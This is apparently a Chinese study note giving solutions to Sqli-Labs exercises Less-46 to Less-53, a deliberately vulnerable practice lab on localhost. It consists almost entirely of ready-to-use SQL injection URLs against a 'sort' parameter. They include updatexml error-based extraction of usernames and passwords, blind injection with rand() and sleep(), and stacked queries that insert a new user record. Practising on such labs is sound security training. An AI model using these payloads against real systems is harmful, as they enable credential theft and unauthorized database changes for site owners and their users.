本文主要是介绍Sqli-Labs做题笔记:Less-46 - Less-53，对大家解决编程问题具有一定的参考价值，需要的程序猿们随着小编来一起学习吧！

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Less-46:

localhost/sqlilabs/Less-46/?sort=1 and (updatexml(1,concat(0x5e24,(substr((select+group_concat(username,0x7e,password)+from+security.users),1)),0x7e),1))

http://localhost/sqlilabs/Less-46/?sort=rand(ascii(mid((select%20group_concat(username)%20from%20users),1,1))=68)

Less-47:

localhost/sqlilabs/Less-47/?sort=1' and (updatexml(1,concat(0x5e24,(substr((select+group_concat(username,0x7e,password)+from+security.users),1)),0x7e),1))

Less-48:

http://localhost/sqlilabs/Less-48/?sort=rand(ascii(mid((select%20group_concat(username)%20from%20users),1,1))=68)

Less-49:

http://localhost/sqlilabs/Less-49/?sort=1%27%20and%20if(ascii(mid(database(),1,1))=115,sleep(0.1),0)--+  

Less-50:

http://localhost/sqlilabs/Less-50/?sort=1;insert into users(id,username,password) values(69,'Joker','Joker')--+

Less-51:

http://localhost/sqlilabs/Less-51/?sort=1%27;insert into users(id,username,password) values(69,'Joker','Joker')--+

Less-52:

http://localhost/sqlilabs/Less-52/?sort=1;insert into users(id,username,password) values(69,'Joker','Joker')--+

Less-53:

http://localhost/sqlilabs/Less-53/?sort=1%27;insert into users(id,username,password) values(69,'Joker','Joker')--+

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